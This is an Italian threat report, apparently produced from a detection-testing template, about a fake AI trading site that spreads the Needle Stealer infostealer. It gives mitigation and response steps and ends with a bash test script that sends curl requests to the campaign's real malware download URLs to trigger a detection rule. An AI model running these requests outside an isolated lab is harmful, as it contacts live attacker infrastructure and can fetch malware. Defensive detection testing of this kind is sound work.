Falso Sito di Trading Installa Malware Che Dirotta i Browser

Riassunto

Un sito web fraudolento che pubblicizza un assistente commerciale basato su intelligenza artificiale è utilizzato per diffondere il malware Needle Stealer. La catena di infezione si basa sul dirottamento di DLL e sul processo di hollowing per iniettare il malware in RegAsm.exe, aiutandolo a mimetizzarsi con l’attività legittima del sistema. Una volta attivo, il malware raccoglie dati del browser, prende di mira informazioni sul portafoglio di criptovalute e può distribuire estensioni del browser dannose per approfondire la compromissione. La comunicazione con l’infrastruttura controllata dagli aggressori avviene tramite più endpoint API HTTP.

Indagine

I ricercatori hanno tracciato il flusso di infezione a un archivio ZIP scaricato da tradingclaw.pro, che conteneva un caricatore DLL chiamato iviewers.dll. Questo caricatore ha lasciato cadere una DLL di seconda fase che ha svuotato RegAsm.exe e ha lanciato il Needle Stealer basato su Golang. Ulteriori analisi hanno mostrato che il malware ha estratto archivi ZIP nascosti contenenti estensioni del browser dannose insieme a un file di configurazione che definiva i suoi server di comando e controllo.

Mitigazione

Gli utenti dovrebbero evitare di scaricare software da siti web non attendibili e verificare sempre le firme dell’editore prima di eseguire qualsiasi installatore. I team di sicurezza dovrebbero regolarmente controllare le estensioni del browser installate e rimuovere quelle che sembrano non autorizzate o sospette. Il monitoraggio della rete dovrebbe essere configurato per rilevare il traffico verso i domini e gli indirizzi IP noti come dannosi connessi alla campagna. Gli strumenti di protezione degli endpoint dovrebbero anche essere adattati per identificare comportamenti di dirottamento di DLL e tecniche di hollowing dei processi.

Risposta

I difensori dovrebbero esaminare la telemetria degli endpoint per l’esecuzione di iviewers.dll e segni di iniezione in RegAsm.exe. I domini di comando e controllo identificati e gli indirizzi IP dovrebbero essere bloccati a livello di firewall o proxy. I team di sicurezza dovrebbero mettere in quarantena i file che corrispondono agli hash o ai nomi di file segnalati, rimuovere le estensioni sospette da %LOCALAPPDATA%PackagesExtensions, e reimpostare le credenziali collegate agli account compromessi. Qualsiasi portafoglio di criptovaluta potenzialmente colpito dovrebbe anche essere controllato per attività non autorizzate.

Esecuzione di Simulazione

Prerequisito: Il Controllo di Prevolo della Telemetria e Baseline deve essere stato superato.

Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

• Narrazione degli Attacchi & Comandi:
  Un avversario che ha ottenuto il malware Needle Stealer lo ospita sul dominio dannoso tradingclaw.pro. L’attaccante persuade una vittima ad aprire un link dannoso (ad es., tramite un’e-mail di phishing). Il browser della vittima effettua una richiesta HTTP GET a http://tradingclaw.pro/stealer.exe, che i registri del proxy. Poiché l’URL contiene la stringa esatta tradingclaw.pro, la condizione della regola Sigma (url|contains) valuta a vero, generando un avviso.

  Per replicare ciò in un ambiente di test, emettiamo un curl diretto al dominio dannoso. La richiesta è progettata per sembrare un traffico tipico dell’utente (User-Agent standard, nessuna intestazione speciale) in modo che solo la corrispondenza del dominio attivi l’allerta.

• Script di Test di Regressione:

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Simulazione di accesso dannoso per attivare la regola di rilevamento "TradingClaw Dannoso"
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Definisci gli URL dannosi (stringhe esatte usate dalla regola)
  MALICIOUS_URLS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${MALICIOUS_URLS[@]}"; do
      echo "[*] Richiesta a ${url}"
      # Usa un user-agent realistico per imitare un browser
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Simulazione completata."

• Comandi di Pulizia:

  # Nessun artefatto persistente viene creato dalle richieste curl.
  # Svuota la cache DNS per evitare il riutilizzo accidentale del dominio nei test successivi.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Pulizia completata."

Fine del Rapporto